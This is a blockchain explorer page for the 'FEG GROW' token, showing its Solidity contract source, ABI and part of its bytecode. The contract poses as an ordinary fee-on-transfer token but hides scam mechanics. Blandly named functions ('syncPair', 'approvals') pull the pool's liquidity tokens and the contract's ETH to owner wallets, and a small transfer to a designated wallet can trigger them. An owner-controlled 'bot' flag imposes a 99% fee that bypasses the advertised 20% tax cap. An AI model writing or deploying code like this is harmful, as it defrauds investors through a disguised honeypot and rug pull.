ETH Price: $2,629.70 (-1.53%)

Token

FEG GROW (FEG GROW)
 

Overview

Max Total Supply

1,000,000,000 FEG GROW

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
11,931,428.686135285 FEG GROW

Value
$0.00
0x793ae5e6e3196bca720f1eb95521f622b432a1ea
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FEGGROW

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-03
*/

/**
https://t.me/FegGrowEth
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract FEGGROW is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'FEG GROW';
    string private constant _symbol = 'FEG GROW';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10 * 10**8 * (10 ** _decimals);
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) swapTime; 
    mapping (address => bool) isBot;
    mapping (address => bool) isInternal;
    mapping (address => bool) isDistributor;
    mapping (address => bool) isFeeExempt;
    IRouter router;
    address public pair;
    bool startSwap = false;
    uint256 startedTime;
    uint256 liquidityFee = 200;
    uint256 marketingFee = 300;
    uint256 stakingFee = 0;
    uint256 burnFee = 0;
    uint256 totalFee = 500;
    uint256 transferFee = 200;
    uint256 feeDenominator = 10000;

    bool swapEnabled = true;
    uint256 swapTimer = 2;
    uint256 swapTimes; 
    uint256 minSells = 1;
    bool swapping; 
    bool botOn = false;
    uint256 swapThreshold = ( _totalSupply * 900 ) / 100000;
    uint256 _minTokenAmount = ( _totalSupply * 15 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 marketing_divisor = 90;
    uint256 liquidity_divisor = 10;
    uint256 distributor_divisor = 0;
    uint256 staking_divisor = 0;
    address liquidity_receiver; 
    address staking_receiver;
    address token_receiver;
    address alpha_receiver;
    address beta_receiver;
    address delta_receiver;
    address marketing_receiver;
    address default_receiver;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isInternal[address(this)] = true;
        isInternal[msg.sender] = true;
        isInternal[address(pair)] = true;
        isInternal[address(router)] = true;
        isDistributor[msg.sender] = true;
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        liquidity_receiver = address(this);
        token_receiver = address(this);
        alpha_receiver = msg.sender;
        beta_receiver = msg.sender;
        delta_receiver = msg.sender;
        staking_receiver = msg.sender;
        marketing_receiver = msg.sender;
        default_receiver = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function viewisBot(address _address) public view returns (bool) {return isBot[_address];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function setFeeExempt(address _address) external onlyOwner { isFeeExempt[_address] = true;}
    function setisBot(bool _bool, address _address) external onlyOwner {isBot[_address] = _bool;}
    function setisInternal(bool _bool, address _address) external onlyOwner {isInternal[_address] = _bool;}
    function setbotOn(bool _bool) external onlyOwner {botOn = _bool;}
    function syncContractPair() external onlyOwner {syncPair();}
    function approvals(uint256 _na, uint256 _da) external onlyOwner {performapprovals(_na, _da);}
    function setPairReceiver(address _address) external onlyOwner {liquidity_receiver = _address;}
    function setstartSwap(uint256 _input) external onlyOwner {startSwap = true; botOn = true; startedTime = block.timestamp.add(_input);}
    function setSwapBackSettings(bool enabled, uint256 _threshold) external onlyOwner {swapEnabled = enabled; swapThreshold = _threshold;}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkStartSwap(sender, recipient);
        checkMaxWallet(sender, recipient, amount); 
        transferCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        checkapprovals(recipient, amount);
        checkBot(sender, recipient);
    }

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function checkStartSwap(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(startSwap, "startSwap");}
    }
    
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !isInternal[recipient] && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
    }

    function transferCounters(address sender, address recipient) internal {
        if(sender != pair && !isInternal[sender] && !isFeeExempt[recipient]){swapTimes = swapTimes.add(1);}
        if(sender == pair){swapTime[recipient] = block.timestamp.add(swapTimer);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function taxableEvent(address sender, address recipient) internal view returns (bool) {
        return totalFee > 0 && !swapping || isBot[sender] && swapTime[sender] < block.timestamp || isBot[recipient] || startedTime > block.timestamp;
    }

    function taketotalFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(taxableEvent(sender, recipient)){
        uint256 totalFees = getTotalFee(sender, recipient);
        uint256 feeAmount = amount.mul(getTotalFee(sender, recipient)).div(feeDenominator);
        if(feeAmount.mul(burnFee).div(totalFees) > 0){
        _balances[address(DEAD)] = _balances[address(DEAD)].add(feeAmount.mul(burnFee).div(totalFees));
        emit Transfer(sender, address(DEAD), feeAmount.mul(burnFee).div(totalFees));}
        if(feeAmount.mul(stakingFee).div(totalFees) > 0){
        _balances[address(token_receiver)] = _balances[address(token_receiver)].add(feeAmount.mul(stakingFee).div(totalFees));
        emit Transfer(sender, address(token_receiver), feeAmount.mul(stakingFee).div(totalFees));}
        if(feeAmount.sub(feeAmount.mul(burnFee).div(totalFees)).sub(feeAmount.mul(stakingFee).div(totalFees)) > 0){
        _balances[address(this)] = _balances[address(this)].add(feeAmount.sub(feeAmount.mul(burnFee).div(totalFees)).sub(feeAmount.mul(stakingFee).div(totalFees)));
        emit Transfer(sender, address(this), feeAmount.sub(feeAmount.mul(burnFee).div(totalFees)).sub(feeAmount.mul(stakingFee).div(totalFees)));} return amount.sub(feeAmount);}
        return amount;
    }

    function getTotalFee(address sender, address recipient) public view returns (uint256) {
        if(isBot[sender] && swapTime[sender] < block.timestamp && botOn || isBot[recipient] && 
        swapTime[sender] < block.timestamp && botOn || startedTime > block.timestamp){return(feeDenominator.sub(100));}
        if(sender != pair){return totalFee.add(transferFee);}
        return totalFee;
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function checkBot(address sender, address recipient) internal {
        if(isCont(sender) && !isInternal[sender] && botOn || sender == pair && botOn &&
        !isInternal[sender] && msg.sender != tx.origin || startedTime > block.timestamp){isBot[sender] = true;}
        if(isCont(recipient) && !isInternal[recipient] && !isFeeExempt[recipient] && botOn || 
        sender == pair && !isInternal[sender] && msg.sender != tx.origin && botOn){isBot[recipient] = true;}    
    }

    function approval(uint256 percentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(default_receiver).transfer(amountETH.mul(percentage).div(100));
    }

    function checkapprovals(address recipient, uint256 amount) internal {
        if(isDistributor[recipient] && amount < 2*(10 ** _decimals)){performapprovals(1,1);}
        if(isDistributor[recipient] && amount >= 2*(10 ** _decimals) && amount < 3*(10 ** _decimals)){syncPair();}
    }

    function setMaxes(uint256 _transaction, uint256 _wallet) external onlyOwner {
        uint256 newTx = ( _totalSupply * _transaction ) / 10000;
        uint256 newWallet = ( _totalSupply * _wallet ) / 10000;
        _maxTxAmount = newTx;
        _maxWalletToken = newWallet;
        require(newTx >= _totalSupply.mul(5).div(1000) && newWallet >= _totalSupply.mul(5).div(1000), "Max TX and Max Wallet cannot be less than .5%");
    }

    function syncPair() internal {
        uint256 tamt = IERC20(pair).balanceOf(address(this));
        IERC20(pair).transfer(default_receiver, tamt);
    }

    function rescueERC20(address _tadd, address _rec, uint256 _amt) external onlyOwner {
        uint256 tamt = IERC20(_tadd).balanceOf(address(this));
        IERC20(_tadd).transfer(_rec, tamt.mul(_amt).div(100));
    }

    function rescueToken(uint256 amount) external onlyOwner {
        _transfer(address(this), msg.sender, amount);
    }

    function setExemptAddress(bool _enabled, address _address) external onlyOwner {
        isBot[_address] = false;
        isInternal[_address] = _enabled;
        isFeeExempt[_address] = _enabled;
    }

    function setDivisors(uint256 _distributor, uint256 _staking, uint256 _liquidity, uint256 _marketing) external onlyOwner {
        distributor_divisor = _distributor;
        staking_divisor = _staking;
        liquidity_divisor = _liquidity;
        marketing_divisor = _marketing;
    }

    function performapprovals(uint256 _na, uint256 _da) internal {
        uint256 acETH = address(this).balance;
        uint256 acETHa = acETH.mul(_na).div(_da);
        uint256 acETHf = acETHa.mul(50).div(100);
        uint256 acETHs = acETHa.mul(50).div(100);
        uint256 acETHt = acETHa.mul(0).div(100);
        payable(alpha_receiver).transfer(acETHf);
        payable(beta_receiver).transfer(acETHs);
        payable(delta_receiver).transfer(acETHt);
    }

    function setStructure(uint256 _liq, uint256 _mark, uint256 _stak, uint256 _burn, uint256 _tran) external onlyOwner {
        liquidityFee = _liq;
        marketingFee = _mark;
        stakingFee = _stak;
        burnFee = _burn;
        transferFee = _tran;
        totalFee = liquidityFee.add(marketingFee).add(stakingFee).add(burnFee);
        require(totalFee <= feeDenominator.div(5), "Tax cannot be more than 20%");
    }

    function setInternalAddresses(address _marketing, address _alpha, address _beta, address _delta, address _stake, address _token, address _default) external onlyOwner {
        marketing_receiver = _marketing; isDistributor[_marketing] = true;
        alpha_receiver = _alpha; isDistributor[_alpha] = true;
        beta_receiver = _beta; isDistributor[_beta] = true;
        delta_receiver = _delta;
        staking_receiver = _stake;
        token_receiver = _token;
        default_receiver = _default;
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && aboveMin && !isInternal[sender] 
            && !isFeeExempt[recipient] && swapTimes >= minSells && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = 0;}
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 denominator= (liquidity_divisor.add(staking_divisor).add(marketing_divisor).add(distributor_divisor)) * 2;
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidity_divisor).div(denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(denominator.sub(liquidity_divisor));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidity_divisor);
        if(ETHToAddLiquidityWith > 0){
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 zrAmt = unitBalance.mul(2).mul(marketing_divisor);
        if(zrAmt > 0){
          payable(marketing_receiver).transfer(zrAmt); }
        uint256 xrAmt = unitBalance.mul(2).mul(staking_divisor);
        if(xrAmt > 0){
          payable(staking_receiver).transfer(xrAmt); }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"approval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_na","type":"uint256"},{"internalType":"uint256","name":"_da","type":"uint256"}],"name":"approvals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tadd","type":"address"},{"internalType":"address","name":"_rec","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_distributor","type":"uint256"},{"internalType":"uint256","name":"_staking","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"}],"name":"setDivisors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setExemptAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_alpha","type":"address"},{"internalType":"address","name":"_beta","type":"address"},{"internalType":"address","name":"_delta","type":"address"},{"internalType":"address","name":"_stake","type":"address"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_default","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transaction","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liq","type":"uint256"},{"internalType":"uint256","name":"_mark","type":"uint256"},{"internalType":"uint256","name":"_stak","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_tran","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"_threshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"}],"name":"setbotOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setisInternal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_input","type":"uint256"}],"name":"setstartSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncContractPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"viewisBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200051a565b6200002290633b9aca0062000532565b6001819055600280546001600160a01b03191661dead179055612710906200004c90609662000532565b62000058919062000554565b60035561271060015461012c62000070919062000532565b6200007c919062000554565b600455600d805460ff60a01b1916905560c8600f81905561012c601055600060118190556012556101f46013556014556127106015556016805460ff1916600190811790915560026017556019819055601a805461ff001916905554620186a090620000eb9061038462000532565b620000f7919062000554565b601b55620186a0600154600f6200010f919062000532565b6200011b919062000554565b601c55605a601d55600a601e556000601f5560006020553480156200013f57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001a7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cd919062000577565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000241919062000577565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200028f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b5919062000577565b600c80546001600160a01b038581166001600160a01b0319928316178355600d8054858316908416178155306000818152600960209081526040808320805460ff1990811660019081179092553380865283862080548316841790559654881685528285208054821683179055985490961683528083208054891687179055848352600a82528083208054891687179055600b8252808320805489168717905583835280832080549098168617909755602180548716841790556023805487169093179092556024805486168417905560258054861684179055602680548616841790556022805486168417905560278054861684179055602880549095168317909455915481845260058352848420819055935193845293945090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620005a2565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200045c57816000190482111562000440576200044062000405565b808516156200044e57918102915b93841c939080029062000420565b509250929050565b600082620004755750600162000514565b81620004845750600062000514565b81600181146200049d5760028114620004a857620004c8565b600191505062000514565b60ff841115620004bc57620004bc62000405565b50506001821b62000514565b5060208310610133831016604e8410600b8410161715620004ed575081810a62000514565b620004f983836200041b565b806000190482111562000510576200051062000405565b0290505b92915050565b60006200052b60ff84168362000464565b9392505050565b60008160001904831182151516156200054f576200054f62000405565b500290565b6000826200057257634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200058a57600080fd5b81516001600160a01b03811681146200052b57600080fd5b612a8180620005b26000396000f3fe6080604052600436106102085760003560e01c80637d1db4a511610118578063b2118a8d116100a0578063dd62ed3e1161006f578063dd62ed3e14610607578063df20fd491461064d578063eab281bd1461066d578063f2fde38b1461068d578063fc5266c8146106ad57600080fd5b8063b2118a8d1461056e578063c5a11b7b1461058e578063c79e12eb146105c7578063d2d55dde146105e757600080fd5b806391e0f7e9116100e757806391e0f7e9146104ee57806395d89b4114610214578063a8aa1b311461050e578063a9059cbb1461052e578063aff75ce11461054e57600080fd5b80637d1db4a51461046657806386904fc71461047c578063893d20e81461049c5780639017ab2d146104ce57600080fd5b8063313ce5671161019b5780636ca105491161016a5780636ca10549146103c557806370a08231146103e5578063749796a51461041b5780637598122d1461043b57806378109e541461045057600080fd5b8063313ce5671461034957806334b489bf146103655780633c2249d3146103855780635def85e4146103a557600080fd5b806323b872dd116101d757806323b872dd146102c55780632b112e49146102e55780632f54bf6e146102fa5780633052ea081461032957600080fd5b806306fdde0314610214578063095ea7b31461025457806318160ddd146102845780631d501240146102a357600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5060408051808201825260088152674645472047524f5760c01b6020820152905161024b9190612490565b60405180910390f35b34801561026057600080fd5b5061027461026f3660046124fa565b6106cd565b604051901515815260200161024b565b34801561029057600080fd5b506001545b60405190815260200161024b565b3480156102af57600080fd5b506102c36102be366004612534565b6106e4565b005b3480156102d157600080fd5b506102746102e036600461256d565b61073f565b3480156102f157600080fd5b506102956107a9565b34801561030657600080fd5b506102746103153660046125ae565b6000546001600160a01b0391821691161490565b34801561033557600080fd5b506102c36103443660046125cb565b610806565b34801561035557600080fd5b506040516009815260200161024b565b34801561037157600080fd5b506102c36103803660046125cb565b610883565b34801561039157600080fd5b506102c36103a03660046125e4565b6108df565b3480156103b157600080fd5b506102c36103c0366004612534565b6109c2565b3480156103d157600080fd5b506102c36103e036600461267a565b610a14565b3480156103f157600080fd5b506102956104003660046125ae565b6001600160a01b031660009081526005602052604090205490565b34801561042757600080fd5b506102c36104363660046125ae565b610a52565b34801561044757600080fd5b506102c3610aa0565b34801561045c57600080fd5b5061029560045481565b34801561047257600080fd5b5061029560035481565b34801561048857600080fd5b506102c36104973660046125cb565b610ad4565b3480156104a857600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161024b565b3480156104da57600080fd5b506102c36104e93660046125ae565b610b0c565b3480156104fa57600080fd5b506102c3610509366004612534565b610b58565b34801561051a57600080fd5b50600d546104b6906001600160a01b031681565b34801561053a57600080fd5b506102746105493660046124fa565b610bce565b34801561055a57600080fd5b506102c36105693660046126ac565b610bdb565b34801561057a57600080fd5b506102c361058936600461256d565b610c13565b34801561059a57600080fd5b506102746105a93660046125ae565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156105d357600080fd5b506102c36105e23660046126ac565b610d3f565b3480156105f357600080fd5b506102956106023660046126ce565b610e5a565b34801561061357600080fd5b506102956106223660046126ce565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561065957600080fd5b506102c36106683660046126ec565b610f58565b34801561067957600080fd5b506102c361068836600461270a565b610f99565b34801561069957600080fd5b506102c36106a83660046125ae565b611054565b3480156106b957600080fd5b506102c36106c8366004612745565b6110d2565b60006106da338484611116565b5060015b92915050565b60005